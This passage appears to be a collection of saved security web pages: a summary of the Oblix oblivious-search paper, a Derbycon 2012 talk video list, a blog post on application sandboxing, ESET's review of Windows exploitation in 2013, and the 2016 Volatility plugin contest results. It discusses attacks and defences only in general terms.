records by key from that database, without leaking information about their
_access patterns_. For example, in the Signal messaging system a user can
query to determine which of the their phone contacts also use Signal, and this
needs to be done in such a way that Signal never learns the user’s contact
list. Beyond access patterns, it is also important to hide the _result size_.

In _Path ORAM_ the client is responsible for maintaining a position map
\(index\) and a stash of temporary values. When the database gets too big for
the client to store \(e.g., all of Signal’s contacts\) it is possible to add
one or more intermediate ORAM servers. With one intermediary for example the
client maintains a smaller index of positions in the intermediary, which then
knows the true positions in the server. Each index lookup therefore requires a
logarithmic \(in index size\) number of requests.

Using hardware enclaves \(e.g. SGX\), _Oblix_ resolves this multiple roundtrip
problem by placing ORAM clients in enclaves on the same server as the ORAM
server. On its own, just using an enclave isn’t good enough for the privacy
standards we’re aiming at here:

> Recent attacks have shown that hardware enclaves like Intel SGX leak access
> patterns in several ways… For Path ORAM, this means that if the attackers
> sees accesses to the client’s position map or stash, it can infer access
> patterns to the ORAM server, defeating the purpose of using ORAM.
<img src='img/oblix-fig-2.jpeg' width='520' height='281' />

To get around these leaks, Oblix also uses ORAM techniques inside the client
proxy process as well, resulting in _doubly oblivious_ schemes. Hiding result
set sizes requires in the basic case that every returned result set is padded
to the size of the maximum possible result set. That clearly introduces a lot
of overhead\! Oblix is designed to work with result pages \(e.g., top 20
results\), which caps the amount of padding to the page size. This in turn
means that the scoring information must also be contained within the index
data structure, for which we need an efficient oblivious structure for ordered
list values. That’s where the the _doubly oblivious sorted multimap_ \(DSOM\)
comes in.

### \(Singly\) Oblivious Data Structures

#### Path ORAM essentials

Path ORAM is an ORAM protocol allowing a client to perform oblivious reads and
writes to external server memory with low bandwidth and latency. The server
maintains a binary tree containing _C_ buckets of _B_ bits each. The _client_
maintains a _position map_ from block id to leaf node, such that the
associated block can be found an a path from the root node to that leaf. The
client also maintains a _stash_ – think of it like a small cache of blocks –
that the server populates and the client may modify. For example, a read
request from the client contains a block id, leaf id, and the stash.
`ORAM.ReadBlock` with fetch all blocks on the path to the given leaf id and
put them in the stash, outputting the block in the path with the given id. The
block is also assigned a new random leaf in the positions map for future
accesses.

#### The Oblivious Data Structures \(ODS\) framework

The Oblivious Data Structures framework lets you design oblivious data
structures that can be expressed as trees of bounded degree. So long as you
can express the desired functionality via such an abstraction you’re good to
go. Oblivious data structures work with an underlying ORAM scheme, such as
Path ORAM. There are three rules:

  1. Every node must have a unique predecessor \(a node pointing to it\) \[Excepting the root node I presume\!\]
  2. Every operation accesses a unique root node before any other node
  3. Every operation accesses a non-root node’s predecessor before it accesses the node.

In short: there’s a tree of nodes, and every operation walks the tree starting
at the root.

#### Oblivious sorted multimaps

> Our _oblivious sorted multimap_ \(OSM\) enables a client to outsource a
> certain type of key-value map to an untrusted server so that the map remains
> encrypted and, yet, the client can still perform search, insert, and delete
> operations with small cost \(in latency and bandwidth\) without revealing
> which key-value pairs of the map were accessed. This notion extends previous
> notions such as _oblivious maps_.
An _OSM scheme_ contains init, find, insert, delete, and server protocol
algorithms. At a high level it supports a mapping from a key to a possible
empty list of sorted and distinct values. The authors realise their scheme
using the ODS framework, which involves first constructing a _plaintext_ data
structure with _tree-like_ memory accesses, and then replaces those accesses
with the oblivious counterparts defined by the ODS framework.

The solution to this challenge combines ideas from _AVL search trees_ and
_order statistic trees_. In an order statistic binary search tree, each node
also stores the number of nodes in each \(left and right\) child subtree, and
this is used to find the the node with the _i_ -th smallest key. The OSM
scheme modifies this idea such that a node with key _k_ also stores the number
of nodes in each of its child subtrees that also have key _k_. Using this we
can efficiently find a key’s _i_ -ith value, and also therefore any sublist of
values.

> We remark that our OSM construction above \(coupled with padding as
> discussed below\) already provides a search index that does not leak access
> patterns _without_ relying on hardware enclaves: the client stores the OSM
> state locally and interacts with the remote server over the network for each
> OSM operation. Leveraging hardware enclaves will enable better performance
> and support for multiple users.
### Doubly Oblivious Data Structures

When the ORAM client runs at a server, it’s memory accesses are visible to the
server \(even when inside an enclave\), and that leaks information. The
authors introduce _doubly oblivious_ RAM \(DORAM\) _client_ algorithms for
Path ORAM, ODS, and OSM schemes. We pay a time complexity for this additional
obliviousness, as summarised in the following table.

<img src='img/oblix-table-1.jpeg' width='566' height='211' />

\(Enlarge\)

#### Path DORAM

A simple but inefficient client scheme for Path ORAM would be to replace all
suitable sub-routines \(such as binary search\) with linear scans. Splitting
eviction into two steps \(first assigning blocks, and then writing blocks\)
reduces the naive time by a factor of _C_ \(number of buckets in the tree\).
Details are in section V.A.

#### Doubly-oblivious data structures \(DODS\)

Replacing the underlying ORAM scheme for ODS with a doubly-oblivious one is
not sufficient to make a doubly-oblivious ODS \(DODS\) since an adversary can
still learn some information by observing whether a returned node is fetched
from the cache or from external memory. Always doing a \(possibly\) dummy
external read solves this issue at the expense of performance. DODS mitigates
this cost somewhat by only doing the additional read when an observer could
not already know for certain whether or not a node is in the cache.

#### Doubly-oblivious sorted multimaps

The doubly-oblivious sorted multimap \(DOSM\) can now be built on top of DODS.
This on its own is not sufficient, since accesses to the OSM internal state
\(outside of the ODS framework\) can still be leaked.

> To eliminate such leakage, we identify data-dependent sub-procedures of our
> algorithms, and appropriately pad out the number of accesses made in these
> procedures to worst-case bounds that depend only on the number of key-value
> pairs in the map… Next we design our algorithms so that we can always
> predict whether or not a given dummy access needs to return a cached node.
> We can then take advantage of the fine-grained DODS interface to avoid
> unnecessary dummy operations.
### Evaluation

It takes about 10K lines of Rust code to implement singly and doubly oblivious
version of Path ORAM, ODS, and OSM.

For the Signal contacts use case, Oblix can enable private contact discovery
with latency <img src='img/7471_latex.php.png' width='80' height='18' alt='O(m
\log N)' /> for _m_ contacts and _N_ overall users. Signal itself currently
uses a form of linear scan over all _N_ users given latency <img
src='img/7470_latex.php.png' width='80' height='18' alt='O(m^2 + N)' />.

<img src='img/oblix-fig-9.jpeg' width='520' height='372' />

The Oblix approach really shines with _incremental_ contact discovery where
smaller values of m \(e.g. 10 or less\) are much more common.

Google’s Key Transparency \(KT\) today does not provide anonymity – the server
knows the identity of the user whose key it returns. The authors use Oblix to
anonymise KT, with look-up latency <img src='img/7466_latex.php.png'
width='74' height='18' alt='O(d \log N)' />. “ _We store all Merkle tree nodes
in an oblivious index in which keys are node identifiers and each key is
mapped to a hash_.”

<img src='img/oblix-fig-10.jpeg' width='520' height='267' />

The final case study creates an oblivious searchable encryption systems over
the entire Enron email dataset \(~528K emails\). On average it takes 20.1ms to
find the ten highest-ranking results for a keyword.

  

# Derbycon 2012 Videos

**Created:**| _7/28/2013 8:02:07 AM_  
---|---  
**Updated:**| _7/28/2013 8:02:07 AM_  
**Author:**| __  
**Tags:**| _conference-material irongeek_  
  

**Derbycon 2012 Videos**

Hope you enjoyed the con\! Here are the videos from Derbycon 2012. We had a
few recording SNAFUs, but all in all it went very well. For the descriptions
of the talks click a talk link below or go to the Derbycon page. Feel free to
link or embed elsewhere, but I'd appreciate it if you link back to the
Derbycon and Irongeek.com sites. Hope you make it to the con next year\! Also,
I've uploaded the large AVI version to Archive.org, which will convert them to
other smaller formats shortly. See the bottom of the page for a download link.

**Track 1 - Track 4 Schedule on Friday, September 28th, 2012**|  Track 1
\(Break Me\)| Track 2 \(Fix Me\)| Track 3 \(Teach Me\)| Track 4 \(The 3-Way\)  
---|---|---|---  
Opening Ceremony|  |  |   
HD Moore � The Wild West|  |  |   
Dan Kaminsky � Black Ops|  |  |   
Mudge � Cyber Fast Track; from the trenches|  |  |   
Jayson E. Street � Securing the Internet: YOU�re doing it wrong \(An INFOSEC
Intervention\)| Jason Scott � Rescuing The Prince of Persia from the sands of
time| Dave Marcus � 2FA-Enabled Fraud: Dissecting Operation High Roller| Rafal
Los � House of Cards  
Rob Fuller / Chris Gates � Dirty Little Secrets Part 2| Chris Hadnagy � Nonverbal Human Hacking| Rick Farina: The Hacker Ethos meets the FOSS ethostd> | Brent Huston � Info overload..Future shock.. IBM & nature of modern crime  
Ian Amit � SexyDefense � the red team tore you a new one. Now what?| egyp7 �
Privilege Escalation with the Metasploit Framework| Larry Pesce / Darren
Wigley � Hacking Survival: So. You want to compute post-apocalypse?| James
Arlen � Doubt � Deceit -Deficiency and Decency � a Decade of Disillusionment  
Carlos Perez � DNS Reconnaissance| Sam Gaudet: Pentesting for non-
pentesters�through virtual machines| Ryan Linn � Collecting Underpants To Win
Your Network| Jerry Gamblin: is it time for another firewall or a security
awareness program?  
**Track 1 - Track 4 Schedule on Saturday, September 29th, 2012**|  Track 1
\(Break Me\)| Track 2 \(Fix Me\)| Track 3 \(Teach Me\)| Track 4 \(The 3-Way\)  
---|---|---|---  
Skip Duckwall / Chris Campbell � Puff Puff Pass � Getting the most out of your
hash| Johnny Long � The Evolution of HFC| Michael Schearer � Flex your right
constituion and political activism in the hacker community| Christopher Domas
� The future of RE: Dynamic Binary Visualization  
Jordan Harbinger � Social Engineering Defense Contractors on LinkedIn and
Facebook: Who's plugged into your employees?| Dual Core \(int0x80\) � Moar
Anti-Forensics � Moar Louise| Eric Smith � Penetration testing from a Hot Tub
Time Machine| Tom Eston / Kevin Johnson � Social Zombies: Rise of the Mobile
Dead  
Paul Asadoorian / John Strand � Everything they told me about security was
wrong.| Bruce Potter � Security Epistemology: Beliefs � Truth � and Knowledge
in the Infosec Community| Chris Nickerson \(ind303\) � Tactical Surveillance:
Look at me now\!| KC. Yerrid / Matt Jezorek / Boris Sverdlik
\(JadedSecurity\)- It's not your perimenter. It's you  
Zack Fasel � Pwned in 60 Seconds -From Network Guest to Windows Domain Admin|
Josh More � Pen Testing Security Vendors| Jamie Murdock � How to create a one
man SOC| Deral Heiland -Format String Vulnerabilities 101  
Ryan Elkins � Simple Security Defense to thwart an Army of Cyber Ninja
Warriors| Jason Gunnoe & Chris Centore -Building the next generation IDS with
OSINT| Branden Miller / Bill Gardner � Building an Awareness and training
program| Jack Daniel � How Screwed Are We?  
atlas: RfCat-subghz or bust| Babak Javadi / Keith Howell: 4140 Ways your alarm
system can fail| Dan Crowley / Chris Vinecombe � Vulnerability Spidey Sense|
Kellep Charles: Security Vulnerablity Assessments. � Process and best
practices  
Georgia Weidman � Introducing the Smartphone Pentest Framework| Bart Hopper �
Hunting Evil| Nathaniel Husted � Everything you always wanted to know about
Security Academia \(But were too afraid too ask\)| John Woods � So you got
yourself an infosec manager job. Now what?  
Gillis Jones � The Badmin Project|  Benjamin Mauch \(Ben0xA\) - Creating A
Powerful User Defense Against Attackers| Bill Sempf � What locksport can teach
us about security| K.C. Holland \(DevAuto\) - Personal Darknet or How to get
pr0n @ work  
Kyle \(kos\) Osborn � Physical Drive-By Downloads| Doug Burks � Security Onion
� Network Security monitoring in minutes|  JP Dunning \(.ronin\) - The Glitch:
Hardware With Hacking Made Easy| Tony DeLaGrange / Jason Wood:SH5ARK ATTACK-
taking a byte out of HTML5\!  
**Track 1 - Track 4 Schedule on Sunday, September 30th, 2012**|  Track 1
\(Break Me\)| Track 2 \(Fix Me\)| Track 3 \(Teach Me\)| Track 4 \(The 3-Way\)  
---|---|---|---  
Matthew Sullivan: Cookie Cadger � taking cookie hijacking to a new level| Matt
Weeks: Ambush- Catching Intruders at Any Point| Joshua Marpet: separating
security intelligence from security FUD| Steve Werby: Building dictionaries
and destroying hashes w/amazon EC2  
Stephen Haywood \(AverageSecurityGuy\) - Introduction to Metasploit Post
Exploitation Modules| Kevin Mitnick � Ghost in the Wires: The Unbelievable
True Story of Kevin Mitnick�s Life as a the World�s Most Wanted Computer
Hacker \(Waiting For Approval\)| Raphael Mudge: Dirty Red Team Tricks II|
David Schuetz \(Darth Null\) � Slow down cowpoke � When enthusiasm outpaces
common sense  
Noah Beddome: The devils in the Details-A look at bad SE and how to do better|
Boris � You Can't Buy Security. Building an Open Sourced Information Security
Program \(Only got 2 seconds of live video with Boris making an odd noise\)|
Nicolle Neulist: Write your own tools with Python| David McGuire: Maturing the
Pen Testing Professional  
Jay James & Shane MacDougall: Usine McAfee secure/trustguard as attack tools|
Matt Presson: Building a database security program| Chris Jenks: Intro to
Linux system hardening| Eric Milam: Becoming Mallory  
Roamer and Deviant Ollam - Welcome to NinjaTel, press 2 to activate your
device now| Patrick Tatro: Why isn't everyone pulling security- this is
combat| Jason Frisvold: Taming Skynet-using the cloud to automate baseline
scanning| JP Dunning & Chris Silvers: Wielding Katana- A live security suite  
Laszlo Toth & Ferenc Spala: Think differently about database hacking| Mick
Douglas � Sprinkler: IR| Matthew Perry: Current trends in computer law|
Leonard Isham: SE me � SE you  
CLOSING CEREMONY  
Day 1 Downloads:  
http://archive.org/details/Derbycon2012Day1

Day 2 Downloads:  
http://archive.org/details/Derbycon2012Day2

Day 3 Downloads:  
http://archive.org/details/Derbycon2012Day3A

**Stable Talks**

We did not officially record the Stable Talks this year but Damian Profancik
stepped up and volunteered to do it. Big thanks for the recording and
editing\!

Valerie Thomas: Appearance Hacking 101 - The Art of Everyday Camouflage

Tim Tomes "LanMaSteR53": Next Generation Web Reconnaissance

Thomas Hoffecker: Hack Your Way into a DoD Security Clearance

John Seely CounterSploit MSF as a defense platform

Chris Murrey "f8lerror" & Jake Garlie "jagar": Easy Passwords = Easy Break-Ins

Tyler Wrightson: The Art and Science of Hacking Any Target

Thomas Richards: Android in the Healthcare Workplace

Spencer McIntyre: How I Learned to Stop Worrying and Love the Smart Meter

Shawn Merdinger: Medical Device Security

Rockie Brockway: Business Ramifications of Internet's Unclean Conflicts

Nathan Magniez: Alice in Exploit Redirection Land

Magen Hughes: Are you HIPAA to the Jive

Justin Brown & Frank Hackett: Breaking into Security

Josh Thomas: Off Grid Communications with Android

Jennifer "savagejen" Savage & Daniel "unicorn Furnance": The Patsy Proxy

Jason Pubal: SQL Injection 101

James Siegel: Nice to Meet You

Brett Cunningham: Beyond Strings - Memory Analysis During Incident Response

Gus Fritschie & Nazia Khan: Hacked Hollywood

Evan Anderson: Active Directory Reconnaissance - Attacks and Post-Exploitation

David Young: ISO8583 or Pentesting with Abnormal Targets

David Cowen: Running a Successful Red Team

Damian Profancik: Managed Service Providers - Pwn One and Done

Ben Toews & Scott Behrens: Rapid Blind SQL Injection Exploitation with BBQSQL

Andy Cooper: Why Integgroll Sucks at Python..And You Can Too  

Stable Talks can be downloaded from:  
http://archive.org/details/Derbycon2.02012StableTalks

<img src='img/Temp2_2134.png' />Printable version of this article

15 most recent posts on Irongeek.com:

  * OISF 2013 Videos
  * Web Shells Collection Page Updated
  * NQSFW Free CISSP Study Guide
  * BSides Boston Videos
  * All BSides Rhode Island Videos
  * BSides Rhode Island Videos
  * ASAReaper: Grab Configs From Multiple Cisco Devices Over SSH \(Demos PExpect and AES Encrypted INI Files in Python\) Updated
  * Indiana University \(IU, IUS, IU\*, Etc\) Salaries
  * Kali Linux Live Boot USB Flash Drive - Jeremy Druin
  * Webshell Demos And Notes
  * Webshell Collection Page Updated With Source Code
  * About page and CV updated
  * ISSA Kentuckiana Web Pen-Testing Workshop
  * AIDE 2013:The rest of the videos
  * Notacon 10 Videos

# Jeremiah Grossman: Sandboxing: Welcome to the Dawn of the Two-Exploit Era

**Created:**| _12/20/2010 10:07:25 PM_  
---|---  
**Updated:**| _12/20/2010 10:07:40 PM_  
**Author:**| __  
**Tags:**| _web-app-sec Exploit browser sandboxing_  
  

## Monday, December 20, 2010

### Sandboxing: Welcome to the Dawn of the Two-Exploit Era

<img src='img/Temp2_4692.jpg' />Exploitation of just ONE software
vulnerability is typically all that separates the bad guys from compromising
an entire machine. The more complicated the code, the larger the attack
surface, and the popularity of the product increases the likelihood of that
outcome. Operating systems, document readers, Web browsers and their plug-ins
are on today’s front lines. Visit a single infected Web page, open a malicious
PDF or Word document, and bang -- game over. Too close for comfort if you ask
me. Firewalls, IDS, anti-malware, and other products aren’t much help.
Fortunately, after two decades, I think the answer is finally upon us.  
  
First, let’s have a look at the visionary of software security practicality
that is Michael Howard as he characterizes the goal of Microsoft’s SDL,
"Reduce the number of vulnerabilities and reduce the severity of the bugs you
miss." Therein lies the rub. Perfectly secure code is a fantasy. We all know
this, but we also know that what is missed is the problem we deal with most
often, unpatched vulnerabilities and zero-days. Even welcome innovations such
as Address Space Layout Randomization \(ASLR\) and Data Execution Prevention
\(DEP\) only seem to slow the inevitable, making exploitation somewhat harder,
but not stopping it entirely. Unless the battlefield itself is changed, no
matter what is tried, getting hacked will always come down to just one
application vulnerability. ONE. That’s where sandboxes come in.  
  
A sandbox is an isolated zone designed to run applications in a confined
execution area where sensitive functions can be tightly controlled, if not
outright prohibited. Any installation, modification, or deletion of files
and/or system information is restricted. The Unix crowd will be familiar with
chroot jails. This is the same basic concept. From a software security
standpoint, sandboxes provide a much smaller code base to get right. Better
yet, realizing the security benefits of sandboxes requires no decision-making
on the user’s behalf. The protections are invisible.  
  
Suppose you are tasked with securing a long-established and widely-used
application with millions of lines of insanely complicated code that’s
deployed in a hostile environment. You know, like an operating system,
document reader, Web browser or a plugin. Any of these applications contain a
complex supply chain of software, cross-pollinated code, and legacy components
created long before security was a business requirement or anyone knew of
today’s class of attacks. Explicitly or intuitively you know vulnerabilities
exist and the development team is doing its best to eliminate them, but time
and resources are scarce. In the meantime, the product must ship. What then do
you do? Place the application in a sandbox to protect it when and if it comes
under attack.  
  
That’s precisely what Google did with Chrome, and recently again with the
Flash plugin, and what Adobe did with their PDF Reader. The idea is the
attacker would first need to exploit the application itself, bypass whatever
anti-exploitation defenses would be in place, then escape the sandbox. That’s
at least two bugs to exploit rather than just one. The second bug, to exploit
the sandbox, obviously being much hard than the first. In the case of Chrome,
you must pop the WebKit HTML renderer or some other core browser component and
then escape the encapsulating sandbox. The same with Adobe PDF reader. Pop the
parser, then escape the sandbox. Again, two bugs, not just one.  
  
I can easily see Microsoft and Mozilla following suit with their respective
browsers and other desktop software. It would be very nice to see the
sandboxing trend continue throughout 2011. Unfortunately though, sandboxing
doesn’t do much to defend against SQL Injection, Cross-Site Scripting, Cross-
Site Request Forgery, Clickjacking, and so on. But maybe if we get the desktop
exploitation attacks off the table, perhaps then we can start to focus
attention on the in-the-browser-walls attacks.

# Windows exploitation in 2013

**Created:**| _2/23/2014 5:18:16 PM_  
---|---  
**Updated:**| _2/23/2014 5:18:16 PM_  
**Author:**| __  
**Tags:**| _windows vulnerability_  
  

# **W** indows exploitation in 2013****

By ESET Research  posted 11 Feb 2014 - 10:47AM

<img src='img/Temp2_9927.jpg' />

In the past year, Microsoft \(MS\) has fixed a large number of vulnerabilities
for Windows and its components, as well as for Office**.** Some of these
vulnerabilities were used by attackers to deliver malicious code before a
patch was available for the targeted software, or in other words, what we call
a 0-day attack **.** Most of these attacks were focused on flaws in Internet
Explorer**.**

We can say that the year 2013 was notable for the appearance of 0-day
vulnerabilities that were primarily used in targeted attacks**.** In this
case, criminal hackers worked on developing exploits, only not for random
propagation of malicious code, but rather for use in attacks on specific users
while pursuing a certain set of goals, some of which may be known only to the
attackers**.**

In the table below, you will find statistics on the vulnerabilities that
Microsoft fixed within the past year**.**

<img src='img/Temp2_9926.jpg' alt='1' />

Vulnerabilities shown in red were exploited in the wild; that is, they were
used in actual attacks on end users before a patch became available**.**

The following table gives more information about the vulnerabilities, for
which there were in-the-wild exploits in the past year \(before the
appropriate patch appeared\)**.**

<img src='img/Temp2_9928.jpg' alt='2' />

As we can see, the attackers were able to use some of Windows system
executable files that were compiled without Address Space Layout Randomization
\(ASLR \) support for the construction of stable Return-Oriented Programming
\(ROP \) gadgets, and were thus able to bypass ASLR**.** One such example is
the Microsoft Office 2007-2010 library _hxds.dll_ , which was compiled without
ASLR**.** As part of the December Patch Tuesday, the company closed this flaw
\(called Security Feature Bypass\) with MS13-106 , providing Windows users who
work with this Office version with the appropriate level of protection**.**

<img src='img/Temp2_9930.jpg' alt='3' />

The next list contains information about security advisories \(SA\) issued in
the past year**.**

<img src='img/Temp2_9919.jpg' alt='4' />

The rating comparison below shows the Windows components in 2013 that were
most frequently patched**.** Note that the currently supported versions of
Microsoft Windows ranged from Windows XP with Service Pack 3 to Windows 8**.**
1 on desktops and from Windows Server 2003 to Windows Server 2012 R2 for
servers**.**

<img src='img/Temp2_9925.jpg' alt='5' />

  
The same comparison ratings including Office \(2003 – 2013 for Windows\) are
shown below**.**

<img src='img/Temp2_9920.jpg' alt='6' />

  
The next graph compares updates and the exploits they mostly addressed**.**

<img src='img/Temp2_9918.jpg' alt='7' />

**Drive-by download** – this is the main method for delivering hidden code via
redirection to exploit kits**.**

**Local Privilege Escalation \(LPE, Elevation of Privilege\)** – this is a way
to gain maximum privileges in Windows, usually associated with the launch of
kernel-mode code to bypass user-mode restrictions \(aka user-mode restrictions
escape\)**.**

**Remote Code Execution \(RCE\)** – attackers use this method, for example, in
drive-bys, but in many cases it can be activated not only via webpage but via
e-mail, instant messaging, and so on**.**

As we can see from the chart above \(Issued updates / exploitation trend\)
such products as the browser Internet Explorer, .NET Framework and the
Silverlight plugin are used by attackers for remote code execution, and indeed
in most cases this done via the browser**.** Attackers use a special crafted
webpage with malicious content that exploited a vulnerability in the
aforementioned software**.** Eventually, this page is used for malware
delivery**.** The user can select a special option for Internet Explorer that
mitigates exploits**.** This option called Enhanced Protection Mode \(EPM\) or
sandbox mode**.**

Internet Explorer 11 sandbox options for use on Windows 8 and later \(64-bit
editions only\) are shown below**.**

<img src='img/Temp2_9923.jpg' alt='8' />

The first option, called _**Enhanced Protected Mode**_ \(EPM\), turns on
AppContainer restriction mode for browser tab processes**.** The second
option, called _**Enable 64-bit processes for Enhanced Protection Mode**_ ,
turns on the use of native 64-bit processes for browser tabs**.** By default,
on 64-bit versions of Windows 8 and later, Internet Explorer runs browser tab
processes as 32-bit processes, making it more vulnerable to heap spraying**.**
Spraying is used by attackers to bypass ASLR mitigation practice**.** The
64-bit virtual address space is much bigger than 32-bit address space and ASLR
is more secure in the context of such a process**.**

Vulnerabilities in applications included in the Microsoft Office software
package can also be used by attackers to install malicious code remotely**.**
Looking at the updates issued for Office in the last year, we can see that
most of them were aimed at eliminating vulnerabilities allowing Remote Code
Execution**.** In such a scenario, attackers will create a specially crafted
Office file, for example a _.DOCX_ file for Microsoft Word, and send it in a
phishing email to the victim**.** The message must be capable of convincing
the user that he wants to open a malicious attachment**.** After opening the
file in a vulnerable version of Office, the user’s PC will be infected with
malicious software**.**

Note that the newest versions of Microsoft Word 2013 and Outlook 2013 contain
special security features to mitigate exploitation**.** These features forbid
the application to perform potentially unsafe functions**.** For example,
Outlook starts the process of Word with low Integrity Level and with reduced
privileges, restricting the capability of shellcode to execute system
functions**.**

Operating system components that run in kernel mode \(KM\), Windows GUI-
subsystem driver _win32k.sys_ , system drivers \(KM drivers\), and _ntoskrnl_
\(NTOS, OS kernel\), are used by attackers to raise their system privilege
levels in order to execute code in kernel mode that bypasses Windows
restrictions \(user-mode restrictions escape\)**.** The _win32k.sys_ driver
was the most patched of these components in the past year**.** The colored bar
represents 2013 patching levels, the adjacent grey bar represents 2012
levels**.**

<img src='img/Temp2_9917.jpg' alt='9' />

As we can see, in 2013 Microsoft fixed many more vulnerabilities than it did
in 2012**.** This trend is most obvious for the Windows GUI subsystem driver –
_win32k.sys_ – and the Internet Explorer browser**.** Note that in October the
company released a new version of Windows – Windows 8**.** 1 – and of the
browser Internet Explorer 11**.** Internet Explorer 11 can also be installed
on Windows 7**.**

The table below shows vulnerabilities \(0-days at the time of exploitation\)
that attackers used for delivering malicious code**.** The past year can
rightly be called the year of targeted attacks and watering hole attacks**.**
For many of them the attackers specially researched vulnerabilities and used
them exclusively for attacks on a specific region or a specific company**.**
In particular, watering hole attacks were used to compromise websites that
were actively visited by alleged victims in various regions of the world**.**
We believe that in 2014 this trend will continue**.**

<img src='img/Temp2_9921.jpg' alt='10' />

The asterisked \(\*\) column denotes the month when the vulnerability was
first exploited in targeted attack; a dash in that column signifies that no
data are available**.**

The past year demonstrated that Microsoft paid attention to protective
technologies for counteracting exploits**.** Three major innovations were
aimed at the protection of null page \(memory allocation\), removing pointers
on _ntdll_ functions from _SharedUserData_ \(ASLR bypass mitigation\) and the
prohibition of providing information about pointers to kernel objects for
untrusted applications on Windows 8**.** 1 \(KASLR bypass mitigation \)**.**

<img src='img/Temp2_9929.jpg' alt='11' />

Address 0 memory allocation \(using _ntdll**\!** ZwAllocateVirtualMemory_\)
makes the attackers life much easier, not least if they are interested in the
privileges escalation**.** After attackers have allocated this memory region,
they need to find a vulnerable driver that can execute code from this address
via a bug**.**

Another interesting improvement on Windows 8 is that all Microsoft-compiled
files contain support of enhanced or stronger ASLR \(High Entropy ASLR, HEASLR
\)**.** HEASLR is a new feature that first appeared in Windows 8**.** It
improves on the usual ASLR approach by using stronger address entropy for such
memory operations as virtual memory allocation, image loading, stack
allocation, and so on**.**

<img src='img/Temp2_9922.jpg' alt='12' />

All Microsoft-compiled system files on Windows 8+ have support of HEASLR so as
to enhance protection against potential exploitation \(/HIGHENTROPYVA linker
flag \)**.**

<img src='img/Temp2_9924.jpg' alt='13' />

You can check active HEASLR using ProcExp tool **.**

## Conclusion****

As we can see, in the past year, Microsoft has fixed many vulnerabilities:
most of them are related to unauthorized/remote code execution and allow
attackers to compromise vulnerable systems. In addition, the company has
introduced useful security features, which make the exploitation process more
complicated**.** For these reasons, a lot of exploits that use such
exploitation methods will no longer work on an up-to-date version of the
Windows operating system \(OS\)**.** This makes Windows 8 & 8.1 a good choice,
for example, because Windows 8**.** \* contains integral security features
that are only available for other Microsoft OS versions if the user is able to
install corresponding security update**.** We recommend that our customers
install security updates as soon as possible after their release to help keep
themselves safe**.**

**Artem Baranov, Malware Researcher, ESET Russia**

Author ESET Research , ESET

****

# Results from the 2016 Volatility Plugin Contest are in\!

**Created:**| _12/21/2016 9:18:27 AM_  
---|---  
**Updated:**| _12/21/2016 9:18:27 AM_  
**Author:**| __  
**Tags:**| _Memory forensics awesome_  
  

  

## Monday, December 5, 2016

###  Results from the 2016 Volatility Plugin Contest are in\!

Congratulations to all the participants\! This year we received more
submissions than ever before \(21 to be exact, from 16 different authors\), so
judging took longer than we expected. Sorry about that\! The good news
is...there's a LOT of new and exciting functionality available to law
enforcement agents, DF/IR practitioners, malware analysts, and researchers
around the globe, which can immediately be transitioned into their workflows.
That's the whole spirit of open source memory forensics with Volatility, and
we're once again very proud to sponsor a contest with such impressive results.

  

It may sound cheesy, but everyone is a winner in this contest. Although a few
developers will walk away with prizes, they all solved a problem that they
\(and inevitably others\) faced, gained experience writing Python plugins, and
learned some intricacies of memory analysis internals. The capability to
program around technical issues and design/implement solutions is a gift. You
can applaud by following the authors on Twitter/GitHub/LinkedIn, providing
feedback on their ideas, and helping to improve their code with testing,
documentation, or contributing patches.

  

We also want to thank Airbnb for donating $999 to the cash prizes\! When
looking for a new job, we definitely recommend considering employers that
support open source forensics and value the importance of memory analysis.
Maybe you can be their next Security CSIRT Engineer\!  

  

* * *
Here is a break down of the placements and prizes  

* * *
  

1st place and $1800 USD cash or a Free Seat at Malware and Memory Forensics
Training by the Volatility Project goes to:  

> Monnappa for Hollow Process Detection and Analysis. Monnappa also
> participated in the 2015, so this is his second consecutive contest. Aside
> from the code itself, Monnappa's corresponding documentation was very
> impressive. Given Monnappa has already taken our training class, he'll
> likely take the cash prize\!
2nd place and $800 USD cash goes to:  

> Kevin Breen for VolUtility and LastPass Credential Recovery. Although we've
> seen web interfaces in the past, Kevin's take on it has a lot of unique and
> helpful features. He's already integrated quite a number of new capabilities
> since the contest closed in October and he's showing no signs of slowing
> down. He's got Volatility plugin fever\!
3rd place and $450 USD cash goes to:  

> Dima Pshoul for Advanced Malware Hunter's Kit. Dima designed several
> creative ways to detect memory-only injected code, which is one of the major
> reasons why analysts rely on memory forensics. Say hello to malfind's two
> new best friends\!
4th place and $100 USD cash and Volatility Swag goes to:  

> Mariano Graziano for ROP Payload Analysis and Linux Kernel Symbol Finder.
> This is Mariano's second plugin contest - he previously won first place for
> Actaeon. Its great to see Mariano continuing to implement powerful
> capabilities like ROPMEMU. Likewise, the Linux kernel symbol finder
> preemptively solves issues that analysts will face in the absence of Linux
> profiles.
5th place and $100 USD cash and Volatility Swag goes to:  

> Bart Inglot for RDP Key Extraction and Replay. This is Bart's second plugin
> contest, but the first time he's made it to the top 5. We met Bart a few
> years ago when he attended one of our training classes in Amsterdam, and
> since then, he's been rapidly improving his memory forensics skills. Bart's
> submission highlights some really cool capabilities related to offline DPAPI
> data decryption and extraction of key data from RAM.
> Thomas White for Mac FileVault2 and Microsoft Bitlocker Key Extraction.
> Together with Volatility's existing plugins for Truecrypt and dm-crypt on
> Linux, investigators not only have quite thorough support for pulling FDE
> keys from RAM, but they can understand where and how the keys are stored in
> virtual memory.
* * *
Here is a detailed summary of the submissions. If you have feedback for the
authors, we're sure they'd love to hear your thoughts.  

* * *
  

**1st : Monnappa: Hollow Process Detection and Analysis**

  

Monnappa's hollowfind is a Volatility plugin to detect different types of
process hollowing techniques used in the wild to bypass, confuse, deflect and
divert forensic analysis techniques. The plugin detects such attacks by
finding discrepancies in the VAD, PEB, and other OS meta-data structures. The
plugin also disassembles the address of entry point to detect any redirection
attempts and also reports any suspicious memory regions which should help in
detecting the injected code.

  

Monnappa's research on the process hollowing technique in general is very
impressive. To design the plugins, he needed to reverse engineer various real-
world malware samples that performed process hollowing, intimately study their
subtle differences, and write code to handle each case. His blog below is
complete with commented IDA screen shots and Volatility plugin output produced
after executing the described malware.

  

Monnappa's Blog on Process Hollowing: detecting-deceptive-hollowing-techniques

Monnappa's GitHub: https://github.com/monnappa22

Monnappa's Twitter: @monnappa22

  

**2nd : Kevin Breen: VolUtility Web Interface**

  

VolUtility is a web interface \(written in Django\) for Volatility. It runs
plugins and stores the output, derived directly from the plugin's JSON
rendering APIs, in a Mongo database. It extracts files from plugins \(that
support --dump-dir\) and stores the binary content in the database as well,
allowing searches across all plugins and file content with string search and
